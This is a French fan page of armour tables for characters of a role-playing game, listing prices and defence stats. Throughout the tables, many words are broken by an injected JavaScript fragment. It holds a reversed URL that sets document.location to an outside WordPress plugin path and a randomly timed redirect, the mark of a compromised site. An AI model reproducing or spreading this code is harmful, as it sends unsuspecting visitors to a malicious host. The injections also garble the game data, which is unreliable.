Les armures

Dart

Nom Prix Défense physique Défense magique Description
Armure de cuir 2 2 Équipement de base.
Armure d’ecailles 50 8 8
Cotte de maille 150 20 24
Cotte plaquée 200 27 20
Armure de saint 300 34 34
Armure d’antan 35 35 Annule poison, étoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tourdissement, arme bloquée.
Armure dragon rouge 800 41 40 Annule les dommages causés par les attaques de feu.
Armure de légende 10000 127 0

Lavitz

 

Nom Prix Défense physique Défense magique Description
Armure de cuir 2 2 Équipement de base.
Armure d’ecailles 50 8 8
Cotte de maille 150 20 24
Cotte plaquée 200 27 20
Armure de saint 300 34 34
Armure d’antan 35 35 Annule poison, étoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tourdissement, arme bloquée.
Armure dragon de jade 800 41 40 Annule les dommages causés par les attaques de vent.
Armure de légende 10000 127 0

Haschel

 

Nom Prix Défense physique Défense magique Description
Veste disciple 13 8 Équipement de base.
Tenue de guerre 150 25 23
Veste maître 250 30 29 + 20 SP si attaque physique.
Ceinture pouvoir 300 37 26 + 50% de SP.
Veste satoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tori 40 31 Annule poison, étoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tourdissement, arme bloquée.
armure dragon violet 800 45 40 Annule les dommages causés par les attaques de toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonnerre.
Armure de légende 10000 127 0

 

Rose

 

Nom Prix Défense physique Défense magique Description
Vêtements 4 5 Équipement de base.
Veste cuir 50 7 12
Veste argent 120 13 17
Tenue lumière 200 19 45 + 20 SP si attaque physique.
Robe 300 34 35 + 20 SP si attaque magique.
Tenue multicolore 32 55 Annule poison, étoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tourdissement, arme bloquée.
Armure dragon noir 800 27 80 Annule les dommages causés par les attaques des ténèbres.
Armure de légende 10000 127 0

 

Shana

 

Nom Prix Défense physique Défense magique Description
Vêtements 4 5 Équipement de base.
Veste cuir 50 7 12
Veste argent 120 13 17
Tenue lumière 200 19 45 + 20 SP si attaque physique.
Robe 34 35 + 20 SP si attaque magique.
Tenue multicolore 23 55 Annule poison, étoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tourdissement, arme bloquée.
Armure dragon argent 800 27 80 Annule les dommages causés par les attaques de lumière.
Armure de légende 10000 127 0

 

Meru

 

Nom Prix Défense physique Défense magique Description
Vêtements 4 5 Équipement de base.
Veste cuir 50 7 12
Veste argent 120 13 17
Tenue lumière 200 19 45 20 SP si attaque physique.
Robe 300 34 35 + 20 SP si attaque magique.
Tenue multicolore 32 50 Annule poison, étoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tourdissement, arme bloquée.
Armure dragon bleu 800 27 80 Annule les dommages causés par les attaques d’eau.
Armure de légende 10000 127 0

 

Kongol

 

Nom Prix Défense physique Défense magique Description
Crinière 46 20 Équipement de base.
Cuirasse 250 59 14
Armure gigantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 400 75 25 + 20 SP si attaque physique.
Armure d’antan 35 35 Annule poison, étoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tourdissement, arme bloquée.
Armure dragon or 80 23 Annule les dommages causés par les attaques de terre.
Armure de légende 10000 127 0